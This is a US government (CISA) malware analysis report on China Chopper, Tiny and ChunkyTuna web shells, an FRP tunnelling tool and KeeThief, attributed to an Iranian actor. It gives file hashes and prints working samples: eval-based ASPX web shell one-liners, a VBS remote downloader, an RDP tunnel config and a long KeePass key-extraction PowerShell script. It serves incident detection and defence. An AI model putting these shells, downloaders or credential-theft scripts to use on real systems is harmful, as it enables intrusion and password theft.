AR20-259A: MAR-10297887-1.v1 – Iranian Web Shells

Original release date: September 15, 2020

Description

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

The Iranian-based malicious cyber actor associated to this report is known to target industries associated to information technology, government, healthcare, financial, and insurance across the US. The threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. Once the actor exploits these vulnerabilities, open source web shells and/or modified versions of the web shells are used to further entrench into a victim network. The web shells are publicly known as ChunkyTuna, Tiny, and China Chopper web shells.

This product details the functionality of 19 malicious files including multiple components of the China Chopper web shell, including an application service provider (ASP) application that listens for incoming Hypertext Transfer Protocol (HTTP) connections from a remote operator. The China Chopper web shell will allow the operator to pass and execute JavaScript code on to a victim’s system. The report also details additional China Chopper web shell components that allow the operator more specific command and control (C2) capabilities including the ability to enumerate directories, upload and execute additional payloads, and exfiltrate data.

In addition, a program data (PDB) file and a binary, which has been identified as a compiled version of the open source project known as “FRP”, was also analyzed. FRP allows an adversary to tunnel various types of connections to a remote operator sitting outside of the victim’s network perimeter. In addition, a PowerShell shell script was analyzed that is part of the open source project known as “KeeThief”. This code will allow the operator to access encrypted password credentials stored by the Microsoft “KeePass” password management software.

It appears this adversary utilized these malicious tools to maintain persistent remote access and data exfiltration from the victim’s network. The adversary may have used the “FRP” utility to tunnel outbound Remote Desktop Protocol (RDP) sessions, allowing persistent access to the network from outside the firewall perimeter. The China Chopper web shell also provides the persistent ability to navigate throughout the victim’s network when inside the perimeter. Leveraging the “KeeThief” utility allows access to sensitive user password credentials and potentially the ability to pivot to user accounts outside of the victim’s network.

An additional 7 files contain malicious Hypertext Preprocessor (PHP) code designed to function as malicious web shells, which were identified as ChunkyTuna and Tiny web shells. The purpose of these web shells is to accept commands and data from a remote operator, providing the operator C2 capabilities over a compromised system.

For a downloadable copy of IOCs, see MAR-10297887-1.v1.stix.

Submitted Files (18)

134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13 (site.aspx)

17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c (vti_cnf.aspx.33154034.compiled)

28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea (App_Web_tcnma5bs.pdb)

2944ea7d0045a1d64f3584e5803cbf3a026bd0e22bdf2e4ba1d28c6ad9e57849 (prev_sh)

3b14d5eafcdb9e90326cb4146979706c85a58be3fc4706779f0ae8d744d9e63c (content)

40d54609acb3f1024ea91b79ca12ecf855e24ebb46d48db86a7bf34edb91b2db (httpgetbin_encoded.vbs)

4a1fc30ffeee48f213e256fa7bff77d8abd8acd81e3b2eb3b9c40bd3e2b04756 (content)

51e9cadeab1b33260c4ccb2c63f5860a77dd58541d7fb0840ad52d0a1abedd21 (df5bd34799e200951fcce77c1c0b42…)

547440bd037a149ac7ac58bc5aaa65d079537e7a87dc93bb92edf0de7648761c (df5bd34799e200951fcce77c1c0b42…)

553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f (ui-bg.aspx)

55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c (svchost.exe)

5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a (App_Web_tcnma5bs.0.js)

8c9aeedeea37ee88c84b170d9cd6c6d83581e3a57671be0ba19f2c8a17bd29f3 (content)

913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0 (kee.ps1)

99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc (App_Web_tcnma5bs.dll)

b36288233531f7ac2e472a689ff99cb0f2ac8cba1b6ea975a9a80c1aa7f6a02a (tiny_webshell)

b443032aa281440017d1dcc3ae0a70d1d30d4f2f2b3f064f95f285e243559249 (df5bd34799e200951fcce77c1c0b42…)

f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde (dllhost.dll)

Additional Files (1)

10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334 (KeeTheft.dll)

Findings

40d54609acb3f1024ea91b79ca12ecf855e24ebb46d48db86a7bf34edb91b2db

Details
Name httpgetbin_encoded.vbs
Size 415 bytes
Type ASCII text, with CRLF line terminators
MD5 876f28cbcd4711f0a95b44708d56ce70
SHA1 108bc87632304769aac05609434563448b403e2d
SHA256 40d54609acb3f1024ea91b79ca12ecf855e24ebb46d48db86a7bf34edb91b2db
SHA512 2a6ecf1a5bd8c6d396edd48ff2da32e9beaa578289c8ea3578a6d0b0c6a2c31ca945d156ad0a95a37b56405c6493c3dff8f14ff505fd662b1f98372c0d05b100
ssdeep 12:KwAJFfyTpHkCGHjBHTeSCqFaKLVe4BURBL1LvxTVTpcqPv:KwAHfAmPDZTeSCqFaKLpubLv1hpcqPv
Entropy 5.087384
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a small JavaScript file, which contains the following code:

—Begin JavaScript Code—
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
set oHTTP = CreateObject(“Msxml2.ServerXMLHTTP”)
oHTTP.open “GET”, WScript.Arguments.Item(1) ,false
oHTTP.setOption 2, 13056
oHTTP.send
Set objFile = objFSO.OpenTextFile(WScript.Arguments.Item(0), 2, True)
For x = 1 To Len(oHTTP.responseText) Step 2
objFile.Write Chr(Clng(“&H” & Mid(oHTTP.responseText,x,2)))
Next
objFile.Close
—End JavaScript Code—

Analysis indicates this file is part of a larger application, which contains the ability to communicate with a remote server. An HTTP request will be sent and received from the remote server. The data received from the server will be written to a file on disk. The output file name and remote server name will be received as arguments to the script. It is believed this script is a component of the China Chopper web shell framework.

553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f

Tags

trojanwebshell

Details
Name ui-bg.aspx
Size 178 bytes
Type ASCII text, with no line terminators
MD5 d7b7a8c120b69166643ee05bf70b37e5
SHA1 2ac99374cab70f8be83c48bbf3258eae78676f65
SHA256 553f355f62c4419b808e078f3f71f401f187a9ac496b785e81fbf087e02dc13f
SHA512 8c51c9e3d3d39ec7b961482ed7fc8cde1804ef126b72fce270c6891f64f4371067a65a8be1cbab1ab3c8860a3e2ea206d274f064d54cf2605ffd7eac51fa0515
ssdeep 3:aEwJkW9uck1SLxAdRLgyKBM2aBZBQ/tZ/LmKABXXKF2xKYA5eRtGnKRHBIwLWEDp:aEm7EnLgyKBM5Y/tZ6KCHKF2xKt5e/GY
Entropy 5.196436
Antivirus
ESET ASP/Webshell.T trojan
Sophos Troj/WebShel-F
Symantec Hacktool.Jsprat
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a small JavaScript file, which contains the following code:

—Begin JavaScript Code—
@ Page Language=”Jscript”%><%try
{
eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“[Redacted]”])),”unsafe”);
}
catch(e)
{
}
—End JavaScript Code—

Analysis indicates this file might serve as part of a larger application. The code within the file decodes and executes data using the JavaScript “eval” function. The data is attained via the JavaScript “Request” function indicating the data is pulled from a remote server using the HTTP protocol. It is believed this script is a component of the China Chopper web shell framework.

134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13

Tags

trojanwebshell

Details
Name site.aspx
Size 178 bytes
Type ASCII text, with no line terminators
MD5 20d89fa1df155632fafb2c9fe1a6a038
SHA1 c9cf494475de81dae5a2c54c678b4a518f46b1fe
SHA256 134ef25d48b8873514f84a0922ec9d835890bda16cc7648372e014c1f90a4e13
SHA512 c1d485e34153c50af79e719c4100b988ba4d289578d385d0b30d2225c20b4b8f715d215f609a141030489a337ff36a89b23d4e99bf1895466122fde97e1214f0
ssdeep 3:aEwJkW9uck1SLxAdRLgyKBM2aBZBQ/tZ/LmKABXXKF2xKYA5eRtJIIDYbwLWEDvR:aEm7EnLgyKBM5Y/tZ6KCHKF2xKt5e/f3
Entropy 5.201321
Antivirus
ESET ASP/Webshell.T trojan
Sophos Troj/WebShel-F
Symantec Hacktool.Jsprat
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a small JavaScript file, which contains the following embedded code:

—Begin Embedded JavaScript—
Page Language=”Jscript”%><%try
{
eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“ammashnist”])),”unsafe”);
}
catch(e)
{
}
—End Embedded JavaScript—

This script is designed to pull JavaScript from an existing “Request Object”, Base64 decode and execute it. The contents of the retrieved JavaScript code were not available for analysis. It is believed this web shell is a component of the China Chopper web shell framework.

17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c

Details
Name vti_cnf.aspx.33154034.compiled
Size 408 bytes
Type XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
MD5 de1cd1c54711544508d157214323af85
SHA1 c33a07965e06280c53e19a5d093983205433843f
SHA256 17f5b6d74759620f14902a5cc8bba8753df8a17da33f4ea126b98c7e2427e79c
SHA512 8265901a684f808c612f9cfcc486aaba923e2cf8ca7fdcd3071e786ad6030c067c4147b7b4e36bb271a5f2b36e0c3f487ceb259e2f00e6afd907ecb6df111a7a
ssdeep 12:MMHdWFV2q6sX1rMxA0UH17I2fUQ/1OifV2q6sW6/1:JdmsvkrGOnfUcBsve/1
Entropy 5.120655
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a “.compiled” file which was generated during the compilation of an ASP.NET application. It is believed this file was generated during the compilation and execution of a China Chopper web shell application. Although this file cannot be executed, its presence may be considered an indicator of compromise. The file contains the following data.

—Begin Data—
<?xml version=”1.0″ encoding=”utf-8″?>
<preserve resultType=”3″ virtualPath=”/rfq/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx” hash=”825a58a8b” filehash=”445bd1a9fe00″ flags=”110000″ assembly=”App_Web_tcnma5bs” type=”ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx”>
   <filedeps>
       <filedep name=”/rfq/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx” />
   </filedeps>
</preserve>
—End Data—

5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a

Details
Name App_Web_tcnma5bs.0.js
Size 8401 bytes
Type UTF-8 Unicode (with BOM) text, with CRLF line terminators
MD5 8495abfd7356f75ad7006d2ab42d4bee
SHA1 3736a085f9fe515dc7d12bbf2a1474bdd3d8d4d2
SHA256 5e0457815554574ea74b8973fc6290bd1344aac06c1318606ea4650c21081f0a
SHA512 8c5fec8455ad0d529030f19626b8fe55b05f6f24b4fee1378e2d6ffa7185c5f2854074cfc30518721892f39985dc5742e81f875d5469101967a62fdc26d1cb36
ssdeep 192:VkjEVXTaaVEDAQpovRpY0NHMdWoEsxpKL:VkjEVXTaaEDAQM3NHMdJEIp4
Entropy 5.246768
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This application has been identified as a component of a malicious web shell. This script has been tentatively identified as a variant of the China Chopper web shell. Displayed below is the partial JavaScript application extracted from this script:

—Begin Partial JavaScript—
package ASP {
   
   public System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()
   class aspnet_client_system_web_4_0_30319__vti_cnf_aspx extends System.Web.UI.Page implements System.Web.SessionState.IRequiresSessionState, System.Web.IHttpHandler {
       
       private static var __initialized : boolean;
       
       private static var __fileDependencies : System.Object;
       
       public System.Diagnostics.DebuggerNonUserCodeAttribute() function aspnet_client_system_web_4_0_30319__vti_cnf_aspx() {
           var dependencies : System.String[];
           System.Web.UI.Page(this).AppRelativeVirtualPath = “~/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx”;
           if ((ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__initialized == false)) {
               dependencies = new System.String[1];
               dependencies[0] = “~/aspnet_client/system_web/4_0_30319/_vti_cnf.aspx”;
               ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__fileDependencies = this.GetWrappedFileDependencies(dependencies);
               ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx.__initialized = true;
           }
           this.Server.ScriptTimeout = 30000000;
           
       }
       
       protected final function get Profile() : System.Web.Profile.DefaultProfile {
           return System.Web.Profile.DefaultProfile(this.Context.Profile);
       }
       
       protected override function get SupportAutoEvents() : boolean {
           return false;
       }
       
       protected final function get ApplicationInstance() : ASP.global_asax {
           return ASP.global_asax(this.Context.ApplicationInstance);
       }
       
       private final System.Diagnostics.DebuggerNonUserCodeAttribute() function __BuildControlTree(__ctrl : aspnet_client_system_web_4_0_30319__vti_cnf_aspx) {
           
           //@cc_on
           //@set @position(file=”F:\inetpub\wwwroot\\aspnet_client\system_web\4_0_30319\_vti_cnf.aspx”;line=1)
           this.InitializeCulture();
           
           //@set @position(end)
           __ctrl.SetRenderMethodDelegate(System.Web.UI.RenderMethod(this.__Render__control1));
       }
       
       private final function __Render__control1(__w : System.Web.UI.HtmlTextWriter, parameterContainer : System.Web.UI.Control) {
           
           //@cc_on
           //@set @position(file=”F:\inetpub\wwwroot\\aspnet_client\system_web\4_0_30319\_vti_cnf.aspx”;line=1)
                            try {eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item[“[Redacted]”])),”unsafe”); } catch(e) {}
           
           //@set @position(end)
       }
—End Partial JavaScript—

Analysis indicates it is designed to operate as a web server and accept JavaScript code provided from a remote operator. The password utilized by the remote operator to access this web shell was redacted.

99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc

Details
Name App_Web_tcnma5bs.dll
Size 13312 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 18f2cf11b940a62d63fd757e20564ec6
SHA1 6fbd38aff374974c59ccca7efd8e1a3205c69ce9
SHA256 99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc
SHA512 190c3cb0a09ce111135d0a98d10922650c28eb895583d98b2015b67e71a2131f824863cb4402d7627648aa0660ad5eaab63ed7cae8a9a54646d09340b71019d7
ssdeep 384:4PojaxtaTXMzS/X44tIItLzxqIj3tccsJY5Ohmqw/4JHuNkLpe+k:4PojaxyXM+/X44K2
Entropy 5.143850
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2020-06-07 06:21:21-04:00
Import Hash dae02f32a21e03ce65412f6e56942daa
Company Name  
File Description  
Internal Name App_Web_tcnma5bs.dll
Legal Copyright  
Original Filename App_Web_tcnma5bs.dll
Product Name  
Product Version  
PE Sections
MD5 Name Raw Size Entropy
83b4ba5ffed3f61f2c3c07cbfb9e4645 header 512 2.606561
9f9a21c74d71b03386ee22a566a1170d .text 11264 5.517535
cb5b712bb6ddf459a6a953c98373b5f6 .rsrc 1024 2.512896
dbd0e57bcdedc0733290c5195a01ad35 .reloc 512 0.081539
Packers/Compilers/Cryptors
Microsoft Visual C# v7.0 / Basic .NET
Relationships
99344d862e… Related_To 28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea
Description

This file is a Windows compiled .NET dynamic link library (DLL) file. It has been identified as a component of a malicious web shell. The DLL has been tentatively identified as a variant of the China Chopper web shell. This malicious DLL contains embedded malicious JavaScript code. A portion of the JavaScript code extracted from the decompiled DLL is displayed below:

—Begin Extracted Code—
private void __Render__control1(HtmlTextWriter __w, Control parameterContainer)
   {
    // ISSUE: type reference
    // ISSUE: type reference
    // ISSUE: type reference
    Microsoft.JScript.StackFrame.PushStackFrameForMethod((object) this, new JSLocalField[3]
    {
       new JSLocalField(nameof (__w), __typeref (HtmlTextWriter), 0),
       new JSLocalField(nameof (parameterContainer), __typeref (Control), 1),
       new JSLocalField(“e:6”, __typeref (object), 2)
    }, ((INeedEngine) this).GetEngine());
    try
    {
       object obj1;
       try
       {
        object[] localVars1 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars;
        localVars1[0] = (object) __w;
        localVars1[1] = (object) parameterContainer;
        object obj2;
        localVars1[2] = obj2;
        Eval.JScriptEvaluate((object) Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(this.Request[“[Redacted]”])), ((INeedEngine) this).GetEngine());
        object[] localVars2 = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars;
        __w = (HtmlTextWriter) localVars2[0];
        parameterContainer = (Control) localVars2[1];
        obj1 = localVars2[2];
       }
       catch (Exception ex)
       {
        VsaEngine engine = ((INeedEngine) this).GetEngine();
        obj1 = Try.JScriptExceptionValue((object) ex, engine);
       }
       object[] localVars = ((Microsoft.JScript.StackFrame) ((INeedEngine) this).GetEngine().ScriptObjectStackTop()).localVars;
       localVars[0] = (object) __w;
       localVars[1] = (object) parameterContainer;
       localVars[2] = obj1;
    }
    finally
    {
       ((INeedEngine) this).GetEngine().PopScriptObject();
    }
—End Extracted Code—

Analysis indicates the password utilized to access this web shell by the remote actor was redacted. This implant will allow a remote operator to execute JavaScript payloads on a victim’s system.

28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea

Details
Name App_Web_tcnma5bs.pdb
Size 24064 bytes
Type MSVC program database ver 7.00, 512*47 bytes
MD5 3be9b7030389ad5e106f169fbe7b7458
SHA1 224448b5840b71ca07c144d3f525b8971c17d4a7
SHA256 28bc161df8406a6acf4b052a986e29ad1f60cbb19983fc17931983261b18d4ea
SHA512 bf8b7bc82be4803099cfe956edb2699c441705955e4d7e3822501940a8e572dafcf1906c797cea8551f3407059bad03c9196bd1432038c095f131bf88bd64bbc
ssdeep 384:ihIBU3Xo3Z3oTTi3aljxTi3aljKITi3aljs8Ti3aljUTi3aljBTi3alj1Ti3aljb:ihIBU4Zox1fLOx5H1bX0b6UW
Entropy 3.924351
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
28bc161df8… Related_To 99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc
Description

This file is a program database (PDB) file. This file correlates with compilation of the application named “App_Web_tcnma5bs.dll”(99344d862e9de0210f4056bdf4b8045ab9eabe1a62464d6513ed16208ab068fc). Although this file cannot be executed, its presence may be considered an indicator of compromise. Strings of interest extracted from this PDB life are displayed below:

—Begin Strings of Interest—
F:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
f:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config
c:windowsmicrosoft.netframework64v4.0.30319configweb.config

.ctor
Global Code
System
System.Collections
System.Text
System.Web.UI
System.Collections.Generic
System.Text.RegularExpressions
System.Xml.Linq
System.Web.SessionState
System.Web.Helpers
System.Web.Routing
System.Configuration
System.Collections.Specialized
System.Linq
System.Web
System.Web.DynamicData
System.Web.Caching
System.Web.Profile
System.ComponentModel.DataAnnotations
System.Web.UI.WebControls
System.Web.Mvc.Ajax
System.Web.Security
System.Web.Mvc
System.Web.UI.WebControls.WebParts
System.Web.WebPages
System.Web.Mvc.Html
System.Web.UI.HtmlControls
get_Profile
ASP
System
System.Collections
System.Text
System.Web.UI
System.Collections.Generic
System.Text.RegularExpressions
System.Xml.Linq
System.Web.SessionState
System.Web.Helpers
System.Web.Routing
System.Configuration
System.Collections.Specialized
System.Linq
System.Web
System.Web.DynamicData
System.Web.Caching
System.Web.Profile
System.ComponentModel.DataAnnotations
System.Web.UI.WebControls
System.Web.Mvc.Ajax
System.Web.Security
System.Web.Mvc
System.Web.UI.WebControls.WebParts
System.Web.WebPages
System.Web.Mvc.Html
System.Web.UI.HtmlControls
get_SupportAutoEvents

GetEngine
0600000d
SetEngine
0600000e
ASP.aspnet_client_system_web_4_0_30319__vti_cnf_aspx
87986BFE
__ASP.FastObjectFactory_app_web_tcnma5bs
35A8BE76
JScript 0
1F3114D0
JScript 1
062A2591
C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config
F:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
T[@
/LinkInfo
/names
/src/headerblock
/src/files/f:inetpubwwwroot\aspnet_clientsystem_web4_0_30319_vti_cnf.aspx
/src/files/c:windowsmicrosoft.netframework64v4.0.30319configweb.config
—End Strings of Interest—

55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c

Tags

proxy

Details
Name svchost.exe
Size 10532864 bytes
Type PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
MD5 c8bc262d7126c3399baaec3bee89d542
SHA1 c94a0f902b3b8cc4ca5e4cc9004ac9eaa4614699
SHA256 55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c
SHA512 cf7b89d9658e618cb4f590b13bd6a6e5abcba0cddca625c7aeaaafb5ef8821a7a60620b789de4abd5d4505ffe3e9c13ad3bf1173f21e1735df5103f06f7270a9
ssdeep 196608:3YHvhq3/BuNnKkOeXtqugiGk9FPHxgc/uA63+w0IUX:kQBuVku1G+
Entropy 6.107183
Antivirus
K7 Riskware ( 0040eff71 )
Sophos App/FRProxy-A
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash 91802a615b3a5c4bcc05bc5f66a5b219
PE Sections
MD5 Name Raw Size Entropy
86ff3a53ecd56eaa856f8c7c28d0a8f1 header 1536 1.263684
26ef590b60778bfdd9bfcbb24d832f94 .text 4546560 5.826487
abdb24e1a410aa5fba49a4d1fe6a21bb .rdata 5612032 5.660454
2e993dbff4bcb21d52aa1897a4e2604e .data 370688 6.023192
f006061c21d3eee457ffe5e2c69cba8e .idata 1536 3.442601
07b5472d347d42780469fb2654b7fc54 .symtab 512 0.020393
Description

This file is a compiled version of the open source utility named FRP. It is an administrative tool, which allows a system inside a router or firewall providing Network Address Translation, to provide network access to systems / operators located outside of the victim’s network. For example, the utility could be utilized to tunnel Secure Shell (SSH) protocol connections from an inside system protected by a firewall and router, to a system outside of the firewall perimeter.

f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde

Details
Name dllhost.dll
Size 226 bytes
Type ASCII text, with CRLF line terminators
MD5 14df2e509b6ee8deb3ce6ba3b88e3de0
SHA1 80190bdddf70a79a1735136f81309219c937458d
SHA256 f7ddf2651faf81d2d5fe699f81315bb2cf72bb14d74a1c891424c6afad544bde
SHA512 6a32f2715d554c11eb0a50e39540c9e68bbb387b8a3aa1dfe4604ce6ed22a075fae0c1b3dfd07468746f4d782b1bff203f9036acaff9d6bbd2ab4c0c23b58d08
ssdeep 6:eBh3BnEWovv5O4WaundbHAVSVDOUqxTWi:enlcO4WhcSVHqxii
Entropy 5.081345
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a configuration file, which may be utilized with the FRP binary named “svchost.exe” (55b9264bc1f665acd94d922dd13522f48f2c88b02b587e50d5665b72855aa71c). The contents of the configuration file is displayed below:

—Begin Configuration Data—
[common]
server_addr = [IP address]
server_port = 443
tls_enable = true
token = laksddflko986wq35029735

[Indy [SCCPV01] – RDP]
type = tcp
use_encryption = true
local_ip = [IP address]
local_port = 3389
remote_port = 0
—End Configuration Data—

The protocol tunneled is RDP.

913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0

Tags

trojan

Details
Name kee.ps1
Size 357631 bytes
Type awk or perl script, ASCII text, with very long lines
MD5 3a83cad860a688e1f40683142280a67b
SHA1 d8ad2de372296501c3eb3aa0e053708eb3914113
SHA256 913ee2b048093162ff54dca050024f07200cdeaf13ffd56c449acb9e6d5fbda0
SHA512 a7afad9c446e55e25ec6289595ebeba469df0ccbc1863c437acf64e63c13b497699804de5248664d5cb78c527ffb9d1415c36a182d32002019cba2e461bb88c3
ssdeep 6144:SJU/ny0KiejKvsM7fz0QVd/eHuwF1U1zDtyftQQKasiaUKGY4RpmOHYqmqEqJ7jO:sIyCVjz0QpcU9QlTsZb
Entropy 6.018326
Antivirus
BitDefender Application.Hacktool.TJ
Cyren Trojan.NBMZ-8
ESET MSIL/PSW.KeeThief.A trojan
Ikarus Trojan.PowerShell.Pklotide
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
913ee2b048… Related_To 10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334
Description

This file is a malicious PowerShell script. It is part of an open source application. The purpose of this script is to decrypt “keepass” files in an attempt to steal the victim’s password credentials stored on the victim’s system. During runtime, this script decodes and utilizes the .NET executable named “KeeTheft.dll,”(10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334). A portion of the PowerShell script is displayed below:

—Begin Malicious Powershell Code—
#requires -version 2
function Get-KP
{
[CmdletBinding()]
param (
[Parameter(Position = 0,
ValueFromPipeline = $True)]
[System.Diagnostics.Process[]]
[ValidateNotNullOrEmpty()]
$Process
)
BEGIN
{
    if(-not $PSBoundParameters[‘Process’])
    {
    try
    {
        $Process = Get-Process KeePass -ErrorAction Stop | Where-Object
        {
        $_.FileVersion -match ‘^2.’
        }
    }
    catch
    {
        throw ‘NO instances open!’
    }
    }
    $EncodedCompressedFile = ‘tL0HfFzFET/+7’
    $DeflatedStream = New-Object
    IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
    [IO.Compression.CompressionMode]::Decompress)
    $UncompressedFileBytes = New-Object Byte[](738304)
    $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null
    $Assembly =
    [Reflection.Assembly]::Load($UncompressedFileBytes)
}
PROCESS
{
    ForEach($KeePassProcess in
    $Process)
    {
    if($KeePassProcess.FileVersion -match ‘^2.’)
    {
        $WMIProcess = Get-
        WmiObject win32_process -Filter “ProcessID = $($KeePassProcess.ID)”
        $ExecutablePath =
        $WMIProcess | Select-Object -Expand ExecutablePath
        Write-Verbose “Examining KeePass
        process $($KeePassProcess.ID) for master keys”
        $Keys = $Assembly.GetType
        (‘KeeTheft.Program’).GetMethod(‘GetKeePassMasterKeys’).Invoke($null, @
        ([System.Diagnostics.Process]$KeePassProcess))
        if($Keys)
        {
        ForEach
        ($Key in $Keys)
        {
            ForEach($UserKey in $Key.UserKeys)
            {
            $KeyType = $UserKey.GetType().Name
            $UserKeyObject = New-Object PSObject
            $UserKeyObject | Add-Member Noteproperty ‘Database’ $UserKey.databaseLocation
            $UserKeyObject | Add-Member Noteproperty ‘KeyType’ $KeyType
            $UserKeyObject | Add-Member Noteproperty ‘KeePassVersion’ $KeePassProcess.FileVersion
            $UserKeyObject | Add-Member Noteproperty ‘ProcessID’ $KeePassProcess.ID
            $UserKeyObject | Add-Member Noteproperty ‘ExecutablePath’ $ExecutablePath
            $UserKeyObject | Add-Member Noteproperty ‘EncryptedBlobAddress’ $UserKey.encryptedBlobAddress
            $UserKeyObject | Add-Member Noteproperty ‘EncryptedBlob’ $UserKey.encryptedBlob
            $UserKeyObject | Add-Member Noteproperty ‘EncryptedBlobLen’ $UserKey.encryptedBlobLen
            $UserKeyObject | Add-Member Noteproperty ‘PlaintextBlob’ $UserKey.plaintextBlob
            if($KeyType -eq ‘KcpPassword’)
            {
                $Plaintext =
                [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob)
            }
            else
            {
                $Plaintext = [Convert]::ToBase64String
                ($UserKey.plaintextBlob)
            }
            $UserKeyObject | Add-
            Member Noteproperty ‘Plaintext’ $Plaintext
            if($KeyType -eq ‘KcpUserAccount’)
            {
                try
                {
                $WMIProcess = Get-WmiObject
                win32_process -Filter “ProcessID = $($KeePassProcess.ID)”
                $UserName =
                $WMIProcess.GetOwner().User
                $ProtectedUserKeyPath = Resolve-Path -Path
                “$($Env:WinDir | Split-Path -Qualifier)Users*$UserName*AppDataRoamingKeePassProtectedUserKey.bin”
                -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
                $UserKeyObject | Add-Member Noteproperty ‘KeyFilePath’ $ProtectedUserKeyPath
                }
                catch
                {
                Write-Warning “Error
                enumerating the owner of $($KeePassProcess.ID) : $_”
                }
            }
            else
            {
                $UserKeyObject | Add-Member
                Noteproperty ‘KeyFilePath’ $UserKey.keyFilePath
            }
            $UserKeyObject.PSObject.TypeNames.Insert(0, ‘KeePass.Keys’)
            $UserKeyObject
            }
        }
        }
        else
        {
        Write-Verbose “No keys found for $($KeePassProcess.ID)”
        }
    }
    else
    {
        Write-Warning “Only KeePass 2.X is supported at this time.”
    }
    }
}
—End Malicious Powershell Code—

10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334

Tags

trojan

Details
Name KeeTheft.dll
Size 738304 bytes
Type PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 dc8a91125f273090cd8d76e9e588a074
SHA1 3455ecca61a280a1056adb69077e0c652daa3516
SHA256 10836bda2d6a10791eb9541ad9ef1cb608aa9905766c28037950664cd64c6334
SHA512 dc25e2ff93871edeb751e99cafe0717163817bfa85bd41c941c1c8b1b5ad2c63b9935060475b65dda69edce358f2759160ce94ad663c041bd41dbbd48e464cb4
ssdeep 12288:NxOU+wucIYOW1ENXKUEHI7apPYEMMIjS3K9TodHNSIIcOECQ:NETcIYOWCNXKUEHI7apPYEMJ9TgHDpC
